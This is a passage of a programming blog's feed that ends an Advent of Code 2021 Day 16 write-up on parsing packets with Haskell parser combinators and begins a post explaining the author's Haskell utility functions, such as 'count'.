  &lt;span class=&quot;token hvariable&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
  &lt;span class=&quot;token hvariable&quot;&gt;typeID&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;typeID&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;4&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt;
      &lt;span class=&quot;token comment&quot;&gt;{- -- code for literal packets --  -}&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;do&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;-- Code for operands.&lt;/span&gt;
      &lt;span class=&quot;token hvariable&quot;&gt;lenTypeID&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;fromBinary&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;$&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;bits&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt;
      &lt;span class=&quot;token hvariable&quot;&gt;children&lt;/span&gt;  &lt;span class=&quot;token operator&quot;&gt;&amp;lt;-&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;operands&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;lenTypeID&lt;/span&gt;
      &lt;span class=&quot;token builtin&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;version&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;typeID&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Operands&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;children&lt;/span&gt;
 &lt;span class=&quot;token keyword&quot;&gt;where&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;...&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Also pretty straightforward. We&#39;ve added three lines of code for parsing the operand case. I think this warrants no explanation and should be a simple exercise for the reader. :)&lt;/p&gt;
&lt;h4 id=&quot;part-1&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#part-1&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Part 1&lt;/h4&gt;
&lt;p&gt;Summing the version numbers should be no problem, and knowing where are versions are and that they&#39;re already &lt;code&gt;Int&lt;/code&gt;s, a simple recursion with &lt;code&gt;sum&lt;/code&gt; and &lt;code&gt;map&lt;/code&gt; should do it:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;Literal&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;Operands&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;v&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sum&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part1&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;ps&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;h4 id=&quot;part-2&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#part-2&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Part 2&lt;/h4&gt;
&lt;p&gt;Part 2 is more complicated, but only slightly. Essentially, each type ID other than 4 corresponds to some operation. &lt;code&gt;0&lt;/code&gt; is addition, &lt;code&gt;1&lt;/code&gt; is multiplication, &lt;code&gt;5&lt;/code&gt; is &lt;code&gt;&amp;gt;&lt;/code&gt;, and so on.&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token constant&quot;&gt;Packet&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;_&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;obj&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;obj&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;Literal&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;x&lt;/span&gt;
  &lt;span class=&quot;token constant&quot;&gt;Operands&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;ps&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;case&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;op&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;of&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;sum&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;product&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;2&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;minimum&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;3&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;maximum&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;5&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;6&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
      &lt;span class=&quot;token number&quot;&gt;7&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&#92;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;b&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;then&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;token operator&quot;&gt;$&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;map&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;part2&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;ps&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;And that&#39;s it. Tada! Welcome to the wonderful magic of parser combinators.&lt;/p&gt;
&lt;h4 id=&quot;full-script&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-day-16/#full-script&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; Full Script&lt;/h4&gt;
&lt;p&gt;For completeness, here&#39;s the full D16.hs script. This uses my &lt;a href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils&quot;&gt;Haskell &lt;code&gt;Utils&lt;/code&gt; module&lt;/a&gt;, and the actual &lt;code&gt;main&lt;/code&gt; function is placed in another file. The background work is done there so that here we could focus on the process of getting from input (&lt;code&gt;String&lt;/code&gt;) to output (&lt;code&gt;Int&lt;/code&gt;) here.&lt;/p&gt;
&lt;script src=&quot;https://gist.github.com/TrebledJ/c5b91fd7104f0fa544c23b6d318064ab.js&quot;&gt;&lt;/script&gt;
</content>
        
          <category>programming</category>
        
          <category>aoc</category>
        
          <category>haskell</category>
        
          <category>writeup</category>
        
      </entry>
    
  
    
      
      <entry>
        <title>AOC 2021 Haskell Utils</title>
        <description>An introduction and walkthrough of my haskell utilities.</description>
        <link href="https://trebledj.me/posts/aoc-2021-haskell-utils/"/>
        <updated>2022-08-09T00:00:00Z</updated>
        <id>https://trebledj.me/posts/aoc-2021-haskell-utils/</id>
        <content xml:lang="en" type="html">&lt;p&gt;Haskell, despite its relatively low popularity, is quite up to speed on language features and tooling (unlike–&lt;em&gt;cough cough&lt;/em&gt;–some other languages). One of these features is being able to separate and organise files into modules, encouraging clean code practices and cleaner development.&lt;/p&gt;
&lt;p&gt;In Advent of Code (AOC) 2021, I found it useful to separate common functions into a &lt;a href=&quot;https://github.com/TrebledJ/aoc/blob/master/2021/haskell/src/Utils.hs&quot;&gt;Utils.hs&lt;/a&gt; file. After all, to make our environments cleaner we should reduce, reuse, and recycle.&lt;/p&gt;
&lt;p&gt;&lt;a class=&quot;lightbox-single&quot; title=&quot;&quot; href=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/recycle-hs-utils-771w.webp&quot;&gt;&lt;img class=&quot;mb-2 rw center jw-65&quot; src=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/recycle-hs-utils-771w.webp&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; style=&quot;aspect-ratio: auto 771 / 499&quot; alt=&quot;Throwing Haskell functions into a recycling bin.&quot; title=&quot;&quot; srcset=&quot;https://trebledj.me/img/posts/programming/aoc-2021/assets/recycle-hs-utils-256w.webp 256w, https://trebledj.me/img/posts/programming/aoc-2021/assets/recycle-hs-utils-512w.webp 512w, https://trebledj.me/img/posts/programming/aoc-2021/assets/recycle-hs-utils-771w.webp 771w&quot; sizes=&quot;(max-width: 256px) 256px, (max-width: 512px) 512px, 771px&quot; /&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;I&#39;ll introduce some basic utilities first before moving on to advanced ones. However, I won&#39;t make too many attempts to teach the basics. For that you may refer yourself to &lt;a href=&quot;https://learnyouahaskell.github.io/chapters&quot;&gt;Learn You a Haskell&lt;/a&gt; (LYAH), which provides a very nice tutorial into Haskell.&lt;/p&gt;
&lt;h2 id=&quot;list-utilities&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#list-utilities&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; List Utilities&lt;/h2&gt;
&lt;h3 id=&quot;count-a-bool-a-int&quot; tabindex=&quot;-1&quot;&gt;&lt;a class=&quot;md-anchor&quot; href=&quot;https://trebledj.me/posts/aoc-2021-haskell-utils/#count-a-bool-a-int&quot; aria-hidden=&quot;true&quot;&gt;&lt;/a&gt; &lt;code&gt;count :: (a -&amp;gt; Bool) -&amp;gt; [a] -&amp;gt; Int&lt;/code&gt;&lt;/h3&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre data-lang-off=&quot;&quot; class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;xs&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Typically, the situation arises when we need to count the number of elements in a list. For example, &amp;quot;count the number of occurrences of &lt;code&gt;3&lt;/code&gt; in &lt;code&gt;[1, 2, 3, 4, 3, 3, 5]&lt;/code&gt;&amp;quot;. To do this, we&#39;ll &lt;code&gt;filter&lt;/code&gt; the matching elements, then take the &lt;code&gt;length&lt;/code&gt; of the filtered list to count the number of matches.&lt;/p&gt;
&lt;p&gt;If you&#39;re new to Haskell, you&#39;re probably wondering &amp;quot;what the heck are the jumble of symbols on the first line?&amp;quot; It&#39;s the type signature! We can roughly translate it as follows:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;count&lt;/code&gt;: The &lt;code&gt;count&lt;/code&gt; function...&lt;/li&gt;
&lt;li&gt;&lt;code&gt;::&lt;/code&gt;: has the following type...
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(a -&amp;gt; Bool)&lt;/code&gt;: it takes a predicate; here, a function which itself takes a generic type &lt;code&gt;a&lt;/code&gt; and returns a boolean...&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;: then...
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;[a]&lt;/code&gt;: it takes a list of generic objects (all the same type as the previous &lt;code&gt;a&lt;/code&gt;!)...&lt;/li&gt;
&lt;li&gt;&lt;code&gt;-&amp;gt;&lt;/code&gt;: then...
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Int&lt;/code&gt;: it returns a 32-bit integer.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Well, this isn&#39;t entirely accurate due to currying, but it&#39;s a decent mental model.&lt;/p&gt;
&lt;p&gt;In the type signature, &lt;code&gt;a&lt;/code&gt; is a generic type, similar to template parameters in C++ and generics in Java/Scala (although the convention in those languages is to use &lt;code&gt;T&lt;/code&gt; and &lt;code&gt;A&lt;/code&gt;).&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-cpp&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-cpp&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;template&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;typename&lt;/span&gt; &lt;span class=&quot;token class-name&quot;&gt;T&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;int32_t&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;count&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;function&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;T&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; p&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; std&lt;span class=&quot;token double-colon punctuation&quot;&gt;::&lt;/span&gt;list&lt;span class=&quot;token operator&quot;&gt;&amp;lt;&lt;/span&gt;T&lt;span class=&quot;token operator&quot;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;&amp;amp;&lt;/span&gt; xs&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;C++&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-scala&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-scala&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; count&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;A&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;p&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; A &lt;span class=&quot;token keyword&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Boolean&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; xs&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; List&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;A&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;Int&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token comment&quot;&gt;/* ... */&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Scala&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;In Haskell, there is actually a more concise way to write &lt;code&gt;count&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;code-toolbar&quot;&gt;&lt;pre class=&quot;language-haskell&quot; tabindex=&quot;0&quot;&gt;&lt;code class=&quot;language-haskell&quot;&gt;&lt;span class=&quot;token hvariable&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;::&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Bool&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token hvariable&quot;&gt;a&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;-&amp;gt;&lt;/span&gt; &lt;span class=&quot;token constant&quot;&gt;Int&lt;/span&gt;
&lt;span class=&quot;token hvariable&quot;&gt;count&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;length&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;.&lt;/span&gt; &lt;span class=&quot;token builtin&quot;&gt;filter&lt;/span&gt; &lt;span class=&quot;token hvariable&quot;&gt;p&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div class=&quot;toolbar&quot;&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;span class=&quot;lang&quot;&gt;Haskell&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;toolbar-item&quot;&gt;&lt;button class=&quot;copy-to-clipboard-button&quot; type=&quot;button&quot; title=&quot;Copy Code&quot;&gt;&lt;/button&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;div class=&quot;alert alert-info d-flex align-items-start&quot;&gt; &lt;i class=&quot;fas fa-bolt ms-1 me-3 mt-1 fs-4&quot; role=&quot;img&quot;&gt;&lt;/i&gt; &lt;div class=&quot;alert-content flex-fill mt-0&quot;&gt;
&lt;p&gt;&lt;code&gt;.&lt;/code&gt; stands for function composition, similar to those in math ($f &#92;circ g$). On the practical side, it applies the right-hand-side function first, followed by the left-hand-side function. Programs are all about combining small operations to form bigger ones, so you&#39;ll see &lt;code&gt;.&lt;/code&gt; being used a lot in purely functional code.&lt;/p&gt;
&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;In the code above, you can think of &lt;code&gt;count&lt;/code&gt; as taking one parameter &lt;code&gt;p :: a -&amp;gt; Bool&lt;/code&gt; and returning a function &lt;code&gt;[a] -&amp;gt; Int&lt;/code&gt; which is the composition of &lt;code&gt;length&lt;/code&gt; and &lt;code&gt;filter p&lt;/code&gt;. It may help if I refine the type signature, so that it&#39;s clear that it returns &lt;code&gt;[a] -&amp;gt; Int&lt;/code&gt;:&lt;/p&gt;
